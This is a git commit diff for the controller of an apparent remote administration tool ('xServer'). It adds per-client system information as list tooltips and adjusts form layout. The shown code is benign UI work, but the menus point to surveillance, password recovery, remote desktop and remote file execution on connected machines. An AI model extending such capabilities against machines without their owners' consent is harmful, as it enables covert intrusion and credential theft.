SystemInfo as a ToolTip

SystemInfo of each client is shown as a ToolTip
This commit is contained in:
Abdullah Saleem 2015-04-21 20:06:32 +05:00
parent 6a5a74fa5e
commit 0008cc54e2
4 changed files with 829 additions and 792 deletions

View File

@ -1,6 +1,7 @@
using System;
using System.Drawing;
using System.IO;
using System.Text;
using System.Threading;
using System.Windows.Forms;
using xServer.Core.Extensions;
@ -51,11 +52,14 @@ namespace xServer.Core.Commands
FrmMain.Instance.lstClients.Items.Add(lvi);
if (XMLSettings.ShowPopup)
ShowPopup(client);
client.Value.IsAuthenticated = true;
new Core.Packets.ServerPackets.GetSystemInfo().Execute(client);
}
catch
{ }
@ -406,6 +410,31 @@ namespace xServer.Core.Commands
public static void HandleGetSystemInfoResponse(Client client, GetSystemInfoResponse packet)
{
try
{
FrmMain.Instance.lstClients.Invoke((MethodInvoker)delegate
{
foreach (ListViewItem item in FrmMain.Instance.lstClients.Items)
{
if (item.Tag == client)
{
var builder = new StringBuilder();
for (int i = 0; i < packet.SystemInfos.Length; i += 2)
{
if (packet.SystemInfos[i] != null && packet.SystemInfos[i + 1] != null)
{
builder.AppendFormat("{0}: {1}\r\n", packet.SystemInfos[i], packet.SystemInfos[i + 1]);
}
}
item.ToolTipText = builder.ToString();
}
}
});
}
catch (Exception)
{}
if (client.Value.FrmSi == null)
return;
@ -427,12 +456,17 @@ namespace xServer.Core.Commands
client.Value.FrmSi.lstSystem.Items.RemoveAt(2); // Loading... Information
foreach(var lviItem in lviCollection)
{
if (lviItem != null)
client.Value.FrmSi.lstSystem.Items.Add(lviItem);
if (lviItem != null)
{
client.Value.FrmSi.lstSystem.Items.Add(lviItem);
}
}
ListViewExtensions.AutosizeColumns(client.Value.FrmSi.lstSystem);
});
}
catch
{ }

View File

@ -90,7 +90,7 @@ namespace xServer.Forms
this.ctxtSurveillance,
this.ctxtMiscellaneous});
this.ctxtMenu.Name = "ctxtMenu";
this.ctxtMenu.Size = new System.Drawing.Size(153, 114);
this.ctxtMenu.Size = new System.Drawing.Size(150, 92);
//
// ctxtConnection
//
@ -101,7 +101,7 @@ namespace xServer.Forms
this.ctxtUninstall});
this.ctxtConnection.Image = ((System.Drawing.Image)(resources.GetObject("ctxtConnection.Image")));
this.ctxtConnection.Name = "ctxtConnection";
this.ctxtConnection.Size = new System.Drawing.Size(152, 22);
this.ctxtConnection.Size = new System.Drawing.Size(149, 22);
this.ctxtConnection.Text = "Connection";
//
// ctxtUpdate
@ -148,7 +148,7 @@ namespace xServer.Forms
this.ctxtActions});
this.ctxtSystem.Image = ((System.Drawing.Image)(resources.GetObject("ctxtSystem.Image")));
this.ctxtSystem.Name = "ctxtSystem";
this.ctxtSystem.Size = new System.Drawing.Size(152, 22);
this.ctxtSystem.Size = new System.Drawing.Size(149, 22);
this.ctxtSystem.Text = "System";
//
// ctxtSystemInformation
@ -238,7 +238,7 @@ namespace xServer.Forms
this.ctxtPasswordRecovery});
this.ctxtSurveillance.Image = ((System.Drawing.Image)(resources.GetObject("ctxtSurveillance.Image")));
this.ctxtSurveillance.Name = "ctxtSurveillance";
this.ctxtSurveillance.Size = new System.Drawing.Size(152, 22);
this.ctxtSurveillance.Size = new System.Drawing.Size(149, 22);
this.ctxtSurveillance.Text = "Surveillance";
//
// ctxtRemoteDesktop
@ -266,7 +266,7 @@ namespace xServer.Forms
this.ctxtShowMessagebox});
this.ctxtMiscellaneous.Image = ((System.Drawing.Image)(resources.GetObject("ctxtMiscellaneous.Image")));
this.ctxtMiscellaneous.Name = "ctxtMiscellaneous";
this.ctxtMiscellaneous.Size = new System.Drawing.Size(152, 22);
this.ctxtMiscellaneous.Size = new System.Drawing.Size(149, 22);
this.ctxtMiscellaneous.Text = "Miscellaneous";
//
// ctxtRemoteExecute
@ -283,7 +283,7 @@ namespace xServer.Forms
//
this.ctxtLocalFile.Image = global::xServer.Properties.Resources.drive_go;
this.ctxtLocalFile.Name = "ctxtLocalFile";
this.ctxtLocalFile.Size = new System.Drawing.Size(152, 22);
this.ctxtLocalFile.Size = new System.Drawing.Size(132, 22);
this.ctxtLocalFile.Text = "Local File...";
this.ctxtLocalFile.Click += new System.EventHandler(this.ctxtLocalFile_Click);
//
@ -291,7 +291,7 @@ namespace xServer.Forms
//
this.ctxtWebFile.Image = global::xServer.Properties.Resources.world_go;
this.ctxtWebFile.Name = "ctxtWebFile";
this.ctxtWebFile.Size = new System.Drawing.Size(152, 22);
this.ctxtWebFile.Size = new System.Drawing.Size(132, 22);
this.ctxtWebFile.Text = "Web File...";
this.ctxtWebFile.Click += new System.EventHandler(this.ctxtWebFile_Click);
//
@ -604,6 +604,7 @@ namespace xServer.Forms
this.lstClients.GridLines = true;
this.lstClients.Location = new System.Drawing.Point(0, 0);
this.lstClients.Name = "lstClients";
this.lstClients.ShowItemToolTips = true;
this.lstClients.Size = new System.Drawing.Size(770, 388);
this.lstClients.SmallImageList = this.imgFlags;
this.lstClients.TabIndex = 1;
@ -707,6 +708,7 @@ namespace xServer.Forms
this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ForeColor = System.Drawing.Color.Black;
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.Menu = this.mainMenu;
this.MinimumSize = new System.Drawing.Size(680, 415);
this.Name = "FrmMain";
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;

View File

@ -340,6 +340,7 @@ namespace xServer.Forms
if (lstClients.SelectedItems.Count != 0)
{
Client c = (Client)lstClients.SelectedItems[0].Tag;
if (c.Value.FrmSi != null)
{
c.Value.FrmSi.Focus();

File diff suppressed because it is too large Load Diff